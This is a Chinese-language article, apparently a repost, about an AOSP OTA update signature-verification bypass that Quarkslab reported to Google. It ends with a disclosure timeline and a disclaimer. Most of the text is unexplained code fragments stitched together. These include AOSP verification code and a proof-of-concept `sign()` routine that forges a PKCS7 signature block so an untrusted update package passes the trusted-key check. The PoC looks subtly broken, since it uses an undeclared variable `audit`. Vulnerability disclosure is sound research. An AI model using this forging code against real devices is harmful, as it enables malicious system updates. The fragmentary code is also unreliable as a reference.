在当今数字化时代,Android设备的安全性一直是用户和开发者关注的焦点。系统更新作为保障设备安全的重要手段,其完整性验证机制更是至关重要。然而,最近Quarkslab的研究人员发现了一个存在于AOSP(Android Open Source Project)OTA(Over-The-Air)更新包签名验证中的漏洞[1],这个漏洞可能会让恶意软件包绕过系统的安全检查,从而对用户的设备安全构成威胁。今天,我们就来深入探讨一下这个漏洞的细节,以及它对Android设备安全性的潜在影响。
// 解析签名PKCS7 block =new PKCS7(new ByteArrayInputStream(eocd, commentSize+22-signatureStart, signatureStart));// 提取签名块中的第一个证书(假设包中仅包含一个证书)X509Certificate[] certificates = block.getCertificates();if (certificates == null || certificates.length == 0) {throw new SignatureException("signature contains no certificates");}X509Certificate cert = certificates[0];PublicKey signatureKey = cert.getPublicKey();SignerInfo[] signerInfos = block.getSignerInfos();if (signerInfos == null || signerInfos.length == 0) {throw new SignatureException("signature contains no signedData");}SignerInfo signerInfo = signerInfos[0];// 检查证书公钥是否匹配任意一个受信公钥boolean verified = false;HashSet<X509Certificate> trusted = getTrustedCerts( deviceCertsZipFile == null ? DEFAULT_KEYSTORE : deviceCertsZipFile);for (X509Certificate c : trusted) {if (c.getPublicKey().equals(signatureKey)) { verified = true;break; }}if (!verified) {throw new SignatureException("signature doesn't match any trusted key");}
SignerInfo verifyResult = block.verify(signerInfo, new InputStream() {// 签名覆盖除归档注释及2字节长度外的所有内容long toRead = fileLen - commentSize - 2;long soFar = 0;int lastPercent = 0;long lastPublishTime = startTimeMillis;@Overridepublicintread()throws IOException {throw new UnsupportedOperationException(); }@Overridepublicintread(byte[] b, int off, int len)throws IOException {if (soFar >= toRead) {return -1; }if (Thread.currentThread().isInterrupted()) {return -1; }int size = len;if (soFar + size > toRead) { size = (int)(toRead - soFar); }int read = raf.read(b, off, size); soFar += read;if (listenerForInner != null) {long now = System.currentTimeMillis();int p = (int)(soFar * 100 / toRead);if (p > lastPercent && now - lastPublishTime > PUBLISH_PROGRESS_INTERVAL_MS) { lastPercent = p; lastPublishTime = now; listenerForInner.onProgress(lastPercent); } }return read; }});
X509Certificate cert = getCertificate(block);PublicKey key = cert.getPublicKey();if (cert == null) {returnnull;}
Signature sig = Signature.getInstance(algname);sig.initVerify(key);
public X509Certificate getCertificate(PKCS7 block)throws IOException{return block.getCertificate(certificateSerialNumber, issuerName);}
public X509Certificate getCertificate(BigInteger serial, X500Name issuerName){if (certificates != null) {if (certIssuerNames == null) populateCertIssuerNames();for (int i = 0; i < certificates.length; i++) { X509Certificate cert = certificates[i]; BigInteger thisSerial = cert.getSerialNumber();if (serial.equals(thisSerial) && issuerName.equals(certIssuerNames[i])) {return cert; } } }return null;}
publicstaticbyte[] sign(byte[] data) {if (data == null) { data = Base64.getDecoder().decode(ZIP_DATA); }try { Class<?> pkcs7Class = Sign.class.getClassLoader().loadClass("sun.security.pkcs.PKCS7"); Class<?> contentInfoClass = Sign.class.getClassLoader().loadClass("sun.security.pkcs.ContentInfo"); Class<?> objIdClass = Sign.class.getClassLoader().loadClass("sun.security.util.ObjectIdentifier"); Class<?> derValClass = Sign.class.getClassLoader().loadClass("sun.security.util.DerValue"); Class<?> signerInfoClass = Sign.class.getClassLoader().loadClass("sun.security.pkcs.SignerInfo"); Class<?> algIdClass = Sign.class.getClassLoader().loadClass("sun.security.x509.AlgorithmId"); Class<?> x500NameClass = Sign.class.getClassLoader().loadClass("sun.security.x509.X500Name"); X509Certificate platform = getCertificate(PLATFORM_CERT); X509Certificate signing = getCertificate(SIGNING_CERT); PrivateKey key = getPrivateKey(SIGNING_KEY);byte[] toSign = Arrays.copyOfRange(data, 0, data.length - 2);byte[] signature = null;try { Signature privateSignature = Signature.getInstance("SHA256withRSA"); privateSignature.initSign(key); privateSignature.update(toSign); signature = privateSignature.sign(); } catch (Exception e) { Log.e(TAG, "exception", e); } Object hashAlg = algIdClass.getMethod("get", String.class).invoke(null, "SHA-256"); Object encAlg = algIdClass.getMethod("get", String.class).invoke(null, "RSA"); Object issuer = x500NameClass.getConstructor(String.class).newInstance(signing.getIssuerX500Principal().getName()); Object serial = signing.getSerialNumber(); Object signer = signerInfoClass.getConstructor(x500NameClass, BigInteger.class, algIdClass, algIdClass, byte[].class).newInstance(issuer, serial, hashAlg, encAlg, signature);int[] sdata = {1, 2, 840, 113549, 1, 7, 2}; Object contentInfo = contentInfoClass.getConstructor(objIdClass, derValClass).newInstance(objIdClass.getMethod("newInternal", sdata.getClass()).invoke(null, sdata), null); Object digestAlgIds = Array.newInstance(algIdClass, 1); Array.set(digestAlgIds, 0, hashAlg); X509Certificate[] certs = new X509Certificate[]{audit, signing}; X509CRL[] crls = new X509CRL[]{}; Object signers = Array.newInstance(signerInfoClass, 1); Array.set(signers, 0, signer); Object pkcs = pkcs7Class.getConstructor(digestAlgIds.getClass(), contentInfo.getClass(), certs.getClass(), crls.getClass(), signers.getClass()).newInstance(digestAlgIds, contentInfo, certs, null, signers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); pkcs7Class.getMethod("encodeSignedData", OutputStream.class).invoke(pkcs, baos);byte[] sigBlock = baos.toByteArray();int commentSize = sigBlock.length + 6;int sigStart = commentSize; ByteArrayOutputStream out = new ByteArrayOutputStream(); out.write(toSign); out.write(newbyte[]{(byte)(commentSize & 0xff), (byte)((commentSize >> 8) & 0xff)}); out.write(sigBlock); out.write(newbyte[]{(byte)(sigStart & 0xff), (byte)((sigStart >> 8) & 0xff), (byte) 0xff, (byte) 0xff, (byte)(commentSize & 0xff), (byte)((commentSize >> 8) & 0xff)});byte[] bytes = out.toByteArray(); Log.e(TAG, "Block size: " + String.valueOf(sigBlock.length)); Object test = pkcs7Class.getConstructor(bytes.getClass()).newInstance(sigBlock); certs = (X509Certificate[]) pkcs7Class.getMethod("getCertificates").invoke(test); Log.e(TAG, "Certs match: " + String.valueOf(certs[0].equals(platform)));return bytes; } catch (Exception e) { Log.e(TAG, "exception", e); }return null;}
Simple version of PKCS#7 SignedData extraction. This extracts thesignature OCTET STRING to be used for signature verification.For full details, see http://www.ietf.org/rfc/rfc3852.txtThe PKCS#7 structure looks like: SEQUENCE (ContentInfo) OID (ContentType) [0] (content) SEQUENCE (SignedData) INTEGER (version CMSVersion) SET (DigestAlgorithmIdentifiers) SEQUENCE (EncapsulatedContentInfo) [0] (CertificateSet OPTIONAL) [1] (RevocationInfoChoices OPTIONAL) SET (SignerInfos) SEQUENCE (SignerInfo) INTEGER (CMSVersion) SEQUENCE (SignerIdentifier) SEQUENCE (DigestAlgorithmIdentifier) SEQUENCE (SignatureAlgorithmIdentifier) OCTET STRING (SignatureValue)
message Signatures { message Signature { optional uint32 version = 1 [deprecated = true]; optional bytes data = 2;// 针对EC密钥的DER编码签名长度因SHA-256哈希输入不同而可能变化。// 但由于签名长度需在签名前固定(因其自身也是被签名内容的一部分),// 此处通过填充使签名数据达到密钥支持的最大长度。验证时需根据// |unpadded_signature_size|截断至实际有效长度。 optional fixed32 unpadded_signature_size = 3; } repeated Signature signatures = 1;}
install_plan_.hash_checks_mandatory = hardware_->IsOfficialBuild();
if (*error != ErrorCode::kSuccess) {if (install_plan_->hash_checks_mandatory) {// The autoupdate_CatchBadSignatures test checks for this string// in log-files. Keep in sync. LOG(ERROR) << "Mandatory metadata signature validation failed";return MetadataParseResult::kError; }// For non-mandatory cases, just send a UMA stat. LOG(WARNING) << "Ignoring metadata signature validation failures"; *error = ErrorCode::kSuccess; }
-
2024年1月18日 Quarkslab通过Google漏洞追踪系统提交漏洞报告 -
2024年1月19日 Google确认漏洞,要求进一步说明披露细节 -
2024年1月19日 Quarkslab解释漏洞发现于客户安全评估项目(受NDA约束) -
2024年1月22日 Google要求提供可在最新Android U版本复现的最小化完整PoC -
2024年2月5日 Quarkslab向Google提交PoC -
2024年2月6日 Google确认PoC有效,表示将启动标准调查与修复流程 -
2024年2月14日 Google要求补充信息 -
2024年2月19日 Quarkslab发送分步骤复现指南 -
2024年2月20日 Quarkslab补充设备指纹及logcat日志输出等细节 -
2024年2月20日 Google确认收到数据,重申将执行标准调查与修复流程 -
2024年3月8日 Quarkslab询问进展 -
2024年3月8日 Google回复暂无更新 -
2025年3月12日 Google评定漏洞为中危,表示中危漏洞通常在未来版本修复,关闭报告且不再提供更新 -
2025年3月21日 Google将漏洞状态标记为“不予修复(不可行)” -
2025年4月8日 本文发布
原文始发于微信公众号(山石网科安全技术研究院):AOSP OTA签名验证漏洞——如何绕过Android系统更新包的安全检查?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论